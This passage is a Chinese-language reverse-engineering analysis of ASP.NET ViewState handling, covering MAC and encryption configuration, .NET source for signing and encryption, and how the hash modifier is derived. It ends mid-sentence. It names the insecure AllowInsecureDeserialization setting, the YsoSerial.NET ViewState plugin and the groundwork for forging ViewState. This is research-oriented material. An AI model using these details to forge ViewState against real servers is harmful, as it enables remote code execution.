3. web.config 中关于ViewState 的配置
ASP.NET 通过web.config 来完成对网站的配置。
在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能:
1<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />enableViewState: 用于设置是否开启viewState,但是请注意,根据 安全通告KB2905247 中所说,即使在web.config中将enableViewState 设置为false,ASP.NET服务器也始终被动解析 ViewState。也就是说,该选项可以影响ViewState的生成,但是不影响ViewState的被动解析。实际上,viewStateEncryptionMode也有类似的特点。
enableViewStateMac: 用于设置是否开启ViewState Mac (校验)功能。在 安全通告KB2905247 之前,也就是4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能,因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config 里添加危险设置的方式来禁用Mac校验,详情见后面分析。
viewStateEncryptionMode: 用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。
- Always表示ViewState始终加密;
- Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;
- Never表示 即使控件请求了视图状态信息,也永远不会对其进行加密。
在实际调试中发现,viewStateEncryptionMode 影响的是ViewState的生成,但是在解析从客户端提交的ViewState时,并不是依据此配置来判断是否要解密。详情见后面分析。
在web.config 中通过machineKey节 来对校验功能和加密功能进行进一步配置:
1<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />例子:
1<machineKey validationKey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D" decryptionKey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" validation="HMACSHA256" />其中的validationKey 和 decryptionKey 分别是校验和加密所用的密钥,validation和decryption则是校验和加密所使用的算法(可以省略,采用默认算法)。校验算法包括: SHA1、 MD5、 3DES、 AE、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。 由于web.config 保存在服务端上,在不泄露machineKey的情况下,保证了ViewState的安全性。
了解了一些关于ViewState的配置后,我们再来看一下.NET Framework 到底是如何处理ViewState的生成与解析的。
4. ViewState的生成和解析流程
根据一些先验知识,我们知道ViewState 是通过ObjectStateFormatter的Serialize和Deserialize 来完成ViewState的序列化和反序列化工作。(LosFormatter 也用于ViewState的序列化,但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize 是直接调用的ObjectStateFormatter 的Serialize)
ObjectStateFormatter 位于System.Web.UI 空间,我们给他的 Serialize函数下个断点(重载有多个Serialize函数,注意区分)。使用dnspy 调试,中断后查看栈回溯信息:
通过栈回溯,我们可以清晰的看到Page类通过调用 SaveAllState 进入到ObjectStateFormatter的 Seralize 函数。
4.1 Serialize 流程
查看Serialize 函数的代码(这里我使用.Net 4.8 的源码,有注释,更清晰):
12345678910111213141516171819202122232425262728293031323334353637383940private string Serialize(object stateGraph, Purpose purpose) {string result = null;MemoryStream ms = GetMemoryStream();try {Serialize(ms, stateGraph);ms.SetLength(ms.Position);byte[] buffer = ms.GetBuffer();int length = (int)ms.Length;#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography// We only support serialization of encrypted or encoded data through our internal Page constructorsif (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested....}else {// Otherwise go through legacy crypto mechanisms#pragma warning disable 618 // calling obsolete methodsif (_page != null && _page.RequiresViewStateEncryptionInternal) {buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);length = buffer.Length;}// We need to encode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);}#pragma warning restore 618 // calling obsolete methods}#endif // !FEATURE_PALresult = Convert.ToBase64String(buffer, 0, length);}finally {ReleaseMemoryStream(ms);}return result;}在函数开头处,调用了另一个重载的Serialzie函数,作用是将stateGraph 序列化为binary数据:
12345MemoryStream ms = GetMemoryStream();try {Serialize(ms, stateGraph);ms.SetLength(ms.Position);...之后进入else分支:
12345678if (_page != null && _page.RequiresViewStateEncryptionInternal) {buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);length = buffer.Length;}// We need to encode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);}这里有两个重要标志位, _page.RequiresViewStateEncryptionInternal 和 _page.EnableViewStateMac。这两个标志位决定了序列化的Binary数据 是进入 MachineKeySection.EncryptOrDecryptData()函数还是 MachineKeySection.GetEncodedData()函数。
其中EncryptOrDecryptData() 函数用于加密以及可选择的进行签名(校验),而GetEncodedData() 则只用于签名(校验)。稍后我们再具体分析这两个函数,我们先来研究一下这两个标志位。
这两个标志位决定了服务端产生的ViewState采取了什么安全措施。这与之前所描述的web.config 中的EnableViewStateMac 和 viewStateEncryptionMode的作用一致。
_page.RequiresViewStateEncryptionInternal 来自这里:
123456internal bool RequiresViewStateEncryptionInternal {get {return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||_viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;}}其中的ViewStateEncryptionMode 应当是直接来自web.config。所以是否进入 MachineKeySection.EncryptOrDecryptData 取决于web.config 里的配置。(注意,进入该函数不仅会进行加密,也会进行签名)。
_page.EnableViewStateMac 来自这里:
1234567891011public bool EnableViewStateMac {get { return _enableViewStateMac; }set {// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we// have an mechanism that forces this to keep its default value of 'true'. We only// allow actually setting the value if this enforcement mechanism is inactive.if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {_enableViewStateMac = value;}}}对应字段 _enableViewStateMac 在Page类的初始化函数中被设置为默认值 true:
123456public Page() {_page = this; // Set the page to ourselves_enableViewStateMac = EnableViewStateMacDefault;...}于是 _enableViewStateMac 是否被修改就取决于 EnableViewStateMacRegistryHelper.EnforceViewStateMac。
查看 EnableViewStateMacRegistryHelper 类,其为EnforceViewStateMac 做了如下注释:
1234// Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled,// meaning that we always enforce EnableViewStateMac=true. Returns 'false' if// the patch hasn't been activated on this machine.public static readonly bool EnforceViewStateMac;也就是说:在启用EnableViewStateMac补丁的情况下,EnforceViewStateMac 返回true,这表示 前面的EnableViewStateMac 标志位会始终保持其默认值true。
在EnableViewStateMacRegistryHelper 类的初始化函数中,进一步表明了是依据什么修改 EnforceViewStateMac的:
1234567891011121314151617static EnableViewStateMacRegistryHelper() {// If the reg key is applied, change the default values.bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();if (regKeyIsActive) {EnforceViewStateMac = true;SuppressMacValidationErrorsFromCrossPagePostbacks = true;}// Override the defaults with what the developer specified.if (AppSettings.AllowInsecureDeserialization.HasValue) {EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;// Exception: MAC errors from cross-page postbacks should be suppressed// if either the <appSettings> switch is set or the reg key is set.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;}...可以看到EnforceViewStateMac 在两种情况下被修改:
- 依据 IsMacEnforcementEnabledViaRegistry() 函数
该函数是从注册表里取值,如果该表项为0,则表示禁用EnableViewStateMac 补丁。
1234567891011private static bool IsMacEnforcementEnabledViaRegistry() {try {string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);return (rawValue != 0);}catch {// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.return true;}}- 依据 AppSettings.AllowInsecureDeserialization.HasValue
该值应当是来自于web.config 中的危险设置:
123456<configuration>…<appSettings><add key="aspnet:AllowInsecureDeserialization" value="true" /></appSettings></configuration>总结来说,ViewStateMac 默认强制开启,要想关闭该功能,必须通过注册表或者在web.config 里进行危险设置的方式禁用 EnableViewStateMac 补丁才能实现。
4.2 Deserialize 流程
查看 Deserialize 函数的代码:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546private object Deserialize(string inputString, Purpose purpose) {if (String.IsNullOrEmpty(inputString)) {throw new ArgumentNullException("inputString");}byte[] inputBytes = Convert.FromBase64String(inputString);int length = inputBytes.Length;#if !FEATURE_PAL // FEATURE_PAL does not enable cryptographytry {if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested....}else {// Otherwise go through legacy crypto mechanisms#pragma warning disable 618 // calling obsolete methodsif (_page != null && _page.ContainsEncryptedViewState) {inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);length = inputBytes.Length;}// We need to decode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);}#pragma warning restore 618 // calling obsolete methods}}catch {// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);ViewStateException.ThrowMacValidationError(null, inputString);}#endif // !FEATURE_PALobject result = null;MemoryStream objectStream = GetMemoryStream();try {objectStream.Write(inputBytes, 0, length);objectStream.Position = 0;result = Deserialize(objectStream);}finally {ReleaseMemoryStream(objectStream);}return result;}重点仍然是里面的else分支:
1234567891011else {// Otherwise go through legacy crypto mechanismsif (_page != null && _page.ContainsEncryptedViewState) {inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);length = inputBytes.Length;}// We need to decode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);}}这里出现了一个新的标志位 _page.ContainsEncryptedViewState 用于决定是否进入MachineKeySection.EncryptOrDecryptData() 函数进行解密,查看ContainsEncryptedViewState 的来历:
1234567if (_requestValueCollection != null) {// Determine if viewstate was encrypted.if (_requestValueCollection[ViewStateEncryptionID] != null) {ContainsEncryptedViewState = true;}...注释表明,该标志确实用于判断接收到的viewstate 是否被加密。查看dnspy逆向的结果,你会更清晰:
这 "__VIEWSTATEENCRYPTED" 很像是request 里提交的字段啊,查找一下,确实如此。
查看开启加密后的 request 请求,确实有这样一个无值的字段:
所以,ASP.NET在解析ViewState时,并不是根据web.config来判断 ViewState 是否加密,而是通过request里是否有__VIEWSTATEENCRYPTED 字段进行判断。换句话说,即使我们在web.config 里设置 Always 解密,服务端仍然会被动解析只有签名的ViewState。( 我在 YsoSerial.NET 工具 ViewState插件作者的博客里看到,.net 4.5 之后需要加密算法和密钥。但是我不明白为什么,在实际测试中似乎也不需要。)
5. GetEncodedData 签名函数
GetEncodedData() 函数用于对序列化后的Binary数据进行签名,用于完整性校验。查看其代码(.NET 4.8):
123456789101112131415161718192021222324252627282930313233// NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter// with the hash appended in the end if there's enough space. The "length" parameter would also be// appropriately adjusted in those cases. This is an optimization to prevent unnecessary copying of// buffers.[Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length){EnsureConfig();byte[] bHash = HashData(buf, modifier, start, length);byte[] returnBuffer;if (buf.Length - start - length >= bHash.Length){// Append hash to end of buffer if there's spaceBuffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);returnBuffer = buf;}else{returnBuffer = new byte[length + bHash.Length];Buffer.BlockCopy(buf, start, returnBuffer, 0, length);Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);start = 0;}length += bHash.Length;if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);length = returnBuffer.Length;}return returnBuffer;}大致流程:
- HashData()函数计算出hash值。
- 判断原buffer长度是否够,如果够,则直接在原buffer中data后添加hash值;否则申请新的buf,并将data和hash值拷贝过去。
- 判断hash算法是否是3DES 或者 AES,如果是,则调用EncryptOrDecryptData() 函数。
我们首先来看一下HashData函数:
12345678910111213141516171819internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length){EnsureConfig();if (s_config.Validation == MachineKeyValidation.MD5)return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);if (_UseHMACSHA) {byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);if (hash != null)return hash;}if (_CustomValidationTypeIsKeyed) {return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),buf, modifier, start, length, s_validationKey);} else {return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),buf, modifier, start, length, s_validationKey);}}这里有几个特殊的标志位:s_config.Validation、_UseHMACSHA、_CustomValidationTypeIsKeyed,用来决定进入哪个函数生成hash。
s_config.Validation 应当是web.config 中设置的签名算法。
而另外两个标志则源自于 InitValidationAndEncyptionSizes() 函数里根据签名算法进行的初始化设置:
12345678910111213141516171819202122232425262728293031323334353637383940private void InitValidationAndEncyptionSizes(){_CustomValidationName = ValidationAlgorithm;_CustomValidationTypeIsKeyed = true;switch(ValidationAlgorithm){case "AES":case "3DES":_UseHMACSHA = true;_HashSize = SHA1_HASH_SIZE;_AutoGenValidationKeySize = SHA1_KEY_SIZE;break;case "SHA1":_UseHMACSHA = true;_HashSize = SHA1_HASH_SIZE;_AutoGenValidationKeySize = SHA1_KEY_SIZE;break;case "MD5":_CustomValidationTypeIsKeyed = false;_UseHMACSHA = false;_HashSize = MD5_HASH_SIZE;_AutoGenValidationKeySize = MD5_KEY_SIZE;break;case "HMACSHA256":_UseHMACSHA = true;_HashSize = HMACSHA256_HASH_SIZE;_AutoGenValidationKeySize = HMACSHA256_KEY_SIZE;break;case "HMACSHA384":_UseHMACSHA = true;_HashSize = HMACSHA384_HASH_SIZE;_AutoGenValidationKeySize = HMACSHA384_KEY_SIZE;break;case "HMACSHA512":_UseHMACSHA = true;_HashSize = HMACSHA512_HASH_SIZE;_AutoGenValidationKeySize = HMACSHA512_KEY_SIZE;break;default:...可以看到,只有MD5签名算法将 _UseHMASHA设置为false,其他算法都将其设置为true。除此之外,还根据签名算法设置_HashSize 为相应hash长度。所以计算MD5 hahs时进入 HashDataUsingNonKeyedAlgorithm()函数,计算其他算法hash时进入 GetHMACSHA1Hash() 函数。
我们先看使用MD5签名算法时进入的 HashDataUsingNonKeyedAlgorithm() 函数:
1234567891011121314151617181920private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,int start, int length, byte[] validationKey){int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);byte [] bAll = new byte[totalLength];Buffer.BlockCopy(buf, start, bAll, 0, length);if (modifier != null) {Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);}Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);if (hashAlgo != null) {return hashAlgo.ComputeHash(bAll);} else {byte[] newHash = new byte[MD5_HASH_SIZE];int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);Marshal.ThrowExceptionForHR(hr);return newHash;}}这里的modifier 的来源我们稍后再议,其长度一般为4个字节。HashDataUsingNonKeyedAlgorithm() 函数流程如下:
- 申请一块新的内存,其长度为data length + validationkey.length + modifier.length
- 将data,modifier,validationkey 拷贝到新分配的内存里。特殊的是,modifier 和 vavlidationkey 都是从紧挨着data的地方开始拷贝,这就导致了validationkey 会 覆盖掉modifier。所以真正的内存分配为: data + validationkey + '\x00'*modifier.length
- 根据MD5算法设置hash长度,即newHash。关于这一点,代码中有各种算法产生hash值的长度设定:
12345678910private const int MD5_KEY_SIZE = 64;private const int MD5_HASH_SIZE = 16;private const int SHA1_KEY_SIZE = 64;private const int HMACSHA256_KEY_SIZE = 64;private const int HMACSHA384_KEY_SIZE = 128;private const int HMACSHA512_KEY_SIZE = 128;private const int SHA1_HASH_SIZE = 20;private const int HMACSHA256_HASH_SIZE = 32;private const int HMACSHA384_HASH_SIZE = 48;private const int HMACSHA512_HASH_SIZE = 64;各种算法对应的Hash长度分别为 MD5:16 SHA1:20 MACSHA256:32 HMACSHA384:48 HMACSHA512:64, 全都不同。
- 调用UnsafeNativeMethods.GetSHA1Hash() 函数进行hash计算。该函数是从webengine4.dll 里导入的一个函数。第一次看到这里,我有一些疑问,为什么MD5算法要调用GetSHA1Hash函数呢?这个疑问先保留。我们先看其他算法是如何生成hash的。
计算其他算法的hash时调用了一个自己写的GetHMACSHA1Hash() 函数,其实现如下:
123456789101112131415private static byte[] GetHMACSHA1Hash(byte[] buf, byte[] modifier, int start, int length) {if (start < 0 || start > buf.Length)throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "start"));if (length < 0 || buf == null || (start + length) > buf.Length)throw new ArgumentException(SR.GetString(SR.InvalidArgumentValue, "length"));byte[] hash = new byte[_HashSize];int hr = UnsafeNativeMethods.GetHMACSHA1Hash(buf, start, length,modifier, (modifier == null) ? 0 : modifier.Length,s_inner, s_inner.Length, s_outer, s_outer.Length,hash, hash.Length);if (hr == 0)return hash;_UseHMACSHA = false;return null;}可以看到,其内部直接调用的UnsafeNativeMethods.GetHMACSHA1Hash() 函数,该函数也是从webengine4.dll里导入的一个函数。和之前看生成MD5 hash值时有一样的疑问,为什么是GetHMACSHA1HAsh?为什么多种算法都进入这一个函数?根据他们参数的特点,而且之前看到各个算法生成hash的长度不同,我们可以猜测,或许是该函数内部根据hash长度来选择使用什么算法。
把 webengine4.dll 拖进ida里。查看GetSHA1Hash() 函数和 GetHMACSHA1Hash() 函数,特点如下:
GetHMACSHA1Hash:
二者都进入了GetAlgorithmBasedOnHashSize() 函数,看来我们的猜测没错,确实是通过hash长度来选择算法。
6. EncryptOrDecryptData 加密解密函数
我们之前看到,无论是开启加密的情况下,还是采用AES\3DES签名算法的情况下,都会进入 MachineKeySection.EncryptOrDecryptData() 函数,那么该函数内部是怎么样的流程呢?
先来看一下该函数的声明和注释:
1234567891011121314151617181920212223242526272829303132333435internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)/* This algorithm is used to perform encryption or decryption of a buffer, along with optional signing (for encryption)* or signature verification (for decryption). Possible operation modes are:** ENCRYPT + SIGN DATA (fEncrypt = true, signData = true)* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)* Output: E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))** ONLY ENCRYPT DATA (fEncrypt = true, signData = false)* Input: buf represents plaintext to encrypt, modifier represents data to be appended to buf (but isn't part of the plaintext itself)* Output: E(iv + buf + modifier)** VERIFY + DECRYPT DATA (fEncrypt = false, signData = true)* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)* Input (buf): E(iv + m + modifier) + HMAC(E(iv + m + modifier))* Output: m** ONLY DECRYPT DATA (fEncrypt = false, signData = false)* Input: buf represents ciphertext to decrypt, modifier represents data to be removed from the end of the plaintext (since it's not really plaintext data)* Input (buf): E(iv + plaintext + modifier)* Output: m** The 'iv' in the above descriptions isn't an actual IV. Rather, if ivType = IVType.Random, we'll prepend random bytes ('iv')* to the plaintext before feeding it to the crypto algorithms. Introducing randomness early in the algorithm prevents users* from inspecting two ciphertexts to see if the plaintexts are related. If ivType = IVType.None, then 'iv' is simply* an empty string. If ivType = IVType.Hash, we use a non-keyed hash of the plaintext.** The 'modifier' in the above descriptions is a piece of metadata that should be encrypted along with the plaintext but* which isn't actually part of the plaintext itself. It can be used for storing things like the user name for whom this* plaintext was generated, the page that generated the plaintext, etc. On decryption, the modifier parameter is compared* against the modifier stored in the crypto stream, and it is stripped from the message before the plaintext is returned.** In all cases, if something goes wrong (e.g. invalid padding, invalid signature, invalid modifier, etc.), a generic exception is thrown.*/注释开头说明:该函数用于加密/解密,可选择的进行签名/校验。一共有4中情况:加密+签名、只加密、解密+校验、只解密。重点是其中的加密+签名、解密+校验。
- 加密+签名:fEncrypt = true, signData = true输入:待加密的原始数据,modifier输出:E(iv + buf + modifier) + HMAC(E(iv + buf + modifier))
(上述公式中E表示加密,HMAC表示签名)
- 解密+校验:fEncrypt = false, signData = true输入:带解密的加密数据,modifier,buf 即为上面的 E(iv + m + modifier) + HMAC(E(iv + m + modifier))输出:m
老实说,只看注释,我们似乎已经可以明白该函数是如何进行加密和签名的了,操起python 就可以学习伪造加密的viewstate了(开玩笑)。不过我们还是看一下他的代码:
1internal static byte[] EncryptOrDecryptData(bool fEncrypt, byte[] buf, byte[] modifier, int start, int length, bool useValidationSymAlgo, bool useLegacyMode, IVType ivType, bool signData)该函数有9个参数:
- 第1个参数 fEncrypt 表示是加密还是解密,true为加密,false 为解密;
- 第2~5个参数 buf、modifier、start、length 为与原始数据相关;
- 第6个参数 useValidationSymAlgo 表示加密是否使用与签名相同的算法;
- 第7个参数useLegacyMode 与自定义算法有关,一般为false;
- 第8个参数 ivType与加密中使用的初始向量iv 有关,根据注释,旧的 IPType.Hash 已经被去除,现在默认使用IPType.Random;
- 第9个参数 signData 表示是否签名/校验。
关于第6个参数 useValidationSymAlgo 有一些细节要说:
我们知道,在Serialize 函数下有两种情况会进入 EncryptOrDecryptData 函数:
(1)由于web.config 配置中开启加密功能,直接进入 EncryptOrDecryptData() 函数:
此时EncryptOrDecryptData () 参数有5个。
(2)在进入GetEncodeData() 函数后,由于使用了AES/3DES 签名算法,导致再次进入 EncryptOrDecryptData() 函数:
此时EncryptOrDecryptData () 参数有6个。
二者参数个数不同,说明是进入了不同的重载函数。
细细观察会发现,由于使用了AES/3DES签名算法导致进入 EncryptOrDecryptData () 时,第6个参数 useValidationSymAlgo 为true。意义何在呢?因为先进入GetEncodedData() 函数,说明没有开启加密功能,此时由于使用的是AES/3DES签名算法,导致需要在签名后再次EncryptOrDecryptData () 函数。进入EncryptOrDecryptData() 就需要决定使用什么加密算法。所以第6个参数为true,表示加密使用和签名同样的算法。另外多说一句,这种情况下会有两次签名,在GetEncodedData() 里一次,进入EncryptOrDecryptData() 后又一次(后面会看到)。
下面代码将有关解密和校验的操作隐去,只介绍加密与签名的部分。
1234// 541~543行System.IO.MemoryStream ms = new System.IO.MemoryStream();ICryptoTransform cryptoTransform = GetCryptoTransform(fEncrypt, useValidationSymAlgo, useLegacyMode);CryptoStream cs = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write);这一段是先调用GetCryptoTransform 获取加密工具,而后通过CryptoStream 将数据流链接到加密转换流。不了解这一过程的可以查看微软相关文档。
关键在于GetCryptoTransform() 是如何选择加密工具的?该函数的3个参数中似乎并无算法相关。观其代码:
123456private static ICryptoTransform GetCryptoTransform(bool fEncrypt, bool useValidationSymAlgo, bool legacyMode){SymmetricAlgorithm algo = (legacyMode ? s_oSymAlgoLegacy : (useValidationSymAlgo ? s_oSymAlgoValidation : s_oSymAlgoDecryption));lock(algo)return (fEncrypt ? algo.CreateEncryptor() : algo.CreateDecryptor());}algo 表示相应的算法类,那么关键便是 s_oSymAlgoValidation 和 s_oSymAlgoDecryption,察其来历:
ConfigureEncryptionObject() 函数:
123456789101112131415161718192021222324252627282930313233343536switch (Decryption){case "3DES":s_oSymAlgoDecryption = CryptoAlgorithms.CreateTripleDES();break;case "DES":s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();break;case "AES":s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();break;case "Auto":if (dKey.Length == 8) {s_oSymAlgoDecryption = CryptoAlgorithms.CreateDES();} else {s_oSymAlgoDecryption = CryptoAlgorithms.CreateAes();}break;}if (s_oSymAlgoDecryption == null) // Shouldn't happen!InitValidationAndEncyptionSizes();switch(Validation){case MachineKeyValidation.TripleDES:if (dKey.Length == 8) {s_oSymAlgoValidation = CryptoAlgorithms.CreateDES();} else {s_oSymAlgoValidation = CryptoAlgorithms.CreateTripleDES();}break;case MachineKeyValidation.AES:s_oSymAlgoValidation = CryptoAlgorithms.CreateAes();break;}看来在网站初始化时就已将相应的加密类分配好了。
继续观察 EncryptOrDecryptData() 的代码:
123456789101112131415161718192021222324252627282930313233343536// 第545~579行// DevDiv Bugs 137864: Add IV to beginning of data to be encrypted.// IVType.None is used by MembershipProvider which requires compatibility even in SP2 mode (and will set signData = false).// MSRC 10405: If signData is set to true, we must generate an IV.bool createIV = signData || ((ivType != IVType.None) && (CompatMode > MachineKeyCompatibilityMode.Framework20SP1));if (fEncrypt && createIV){int ivLength = (useValidationSymAlgo ? _IVLengthValidation : _IVLengthDecryption);byte[] iv = null;switch (ivType) {case IVType.Hash:// iv := H(buf)iv = GetIVHash(buf, ivLength);break;case IVType.Random:// iv := [random]iv = new byte[ivLength];RandomNumberGenerator.GetBytes(iv);break;}Debug.Assert(iv != null, "Invalid value for IVType: " + ivType.ToString("G"));cs.Write(iv, 0, iv.Length);}cs.Write(buf, start, length);if (fEncrypt && modifier != null){cs.Write(modifier, 0, modifier.Length);}cs.FlushFinalBlock();byte[] paddedData = ms.ToArray();这一段开头是在生成IV。IV是加密时使用的初始向量,应保证其随机性,防止重复IV导致密文被破解。
- ivLength为64。这里随机生成64个字节作为iv。
- 三次调用 cs.Write(),分别写入iv、buf、modifier。cs即为前面生成的CryptoStream类实例,用于将数据流转接到加密流。这里与我们前面所说的公式 E(iv + buf + modifier) 对应上了。
- 调用ms.ToArray() ,即返回加密完成后的生成的字节序列。
继续观察 EncryptOrDecryptData() 的代码:
12345678910111213141516171819202122232425262728293031// 第550~644行// DevDiv Bugs 137864: Strip IV from beginning of unencrypted dataif (!fEncrypt && createIV){// strip off the first bytes that were random bits...}else{bData = paddedData;}...// At this point:// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier)// If fEncrypt = false (decrypting), bData := plaintextif (fEncrypt && signData) {byte[] hmac = HashData(bData, null, 0, bData.Length);byte[] bData2 = new byte[bData.Length + hmac.Length];Buffer.BlockCopy(bData, 0, bData2, 0, bData.Length);Buffer.BlockCopy(hmac, 0, bData2, bData.Length, hmac.Length);bData = bData2;}// At this point:// If fEncrypt = true (encrypting), bData := Enc(iv + buf + modifier) + HMAC(Enc(iv + buf + modifier))// If fEncrypt = false (decrypting), bData := plaintext// And we're donereturn bData;这里是最后一部,将加密后生成的字节序列传给HashData,让其生成hash值,并缀在字节序列后面。
这就与前面的公式 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 对应上了。
看完 EncryptOrDecryptData() 函数的代码,我么也明白了其流程,总结下来其实就一个公式,没错就是 E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) 。
7. modifier 的来历
在前面进行签名和加密的过程中,都使用了一个关键变量叫做modifier,该变量同密钥一起用于签名和加密。该变量来自于 GetMacKeyModifier() 函数:
123456789101112131415161718192021222324252627282930313233// This will return the MacKeyModifier provided in the LOSFormatter constructor or// generate one from Page if EnableViewStateMac is true.private byte[] GetMacKeyModifier() {if (_macKeyBytes == null) {// Only generate a MacKeyModifier if we have a pageif (_page == null) {return null;}// Note: duplicated (somewhat) in GetSpecificPurposes, keep in sync// Use the page's directory and class name as part of the key (ASURT 64044)uint pageHashCode = _page.GetClientStateIdentifier();string viewStateUserKey = _page.ViewStateUserKey;if (viewStateUserKey != null) {// Modify the key with the ViewStateUserKey, if any (ASURT 126375)int count = Encoding.Unicode.GetByteCount(viewStateUserKey);_macKeyBytes = new byte[count + 4];Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);}else {_macKeyBytes = new byte[4];}_macKeyBytes[0] = (byte)pageHashCode;_macKeyBytes[1] = (byte)(pageHashCode >> 8);_macKeyBytes[2] = (byte)(pageHashCode >> 16);_macKeyBytes[3] = (byte)(pageHashCode >> 24);}return _macKeyBytes;}函数流程:
- 函数开头先通过 _page.GetClientStateIdentifier 计算出一个 pageHashCode;
- 如果有viewStateUserKey,则modifier = pageHashCode + ViewStateUsereKey;
- 如果没有viewStateUserKey,则modifier = pageHashCode
先看pageHashCode 来历:
1234567891011121314// This is a non-cryptographic hash code that can be used to identify which Page generated// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs// are assumed to be known by all parties.internal uint GetClientStateIdentifier() {// Use non-randomized hash code algorithms instead of String.GetHashCode.// Use the page's directory and class name as part of the key (ASURT 64044)// We need to make sure that the hash is case insensitive, since the file system// is, and strange view state errors could otherwise happen (ASURT 128657)int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);return (uint)pageHashCode;}从注释中也可以看出,计算出directory 和 class name 的hash值,相加并返回。这样pageHashCode 就有4个字节了。所以我们可以手动计算一个页面的 pageHashCode,directory 和 class name 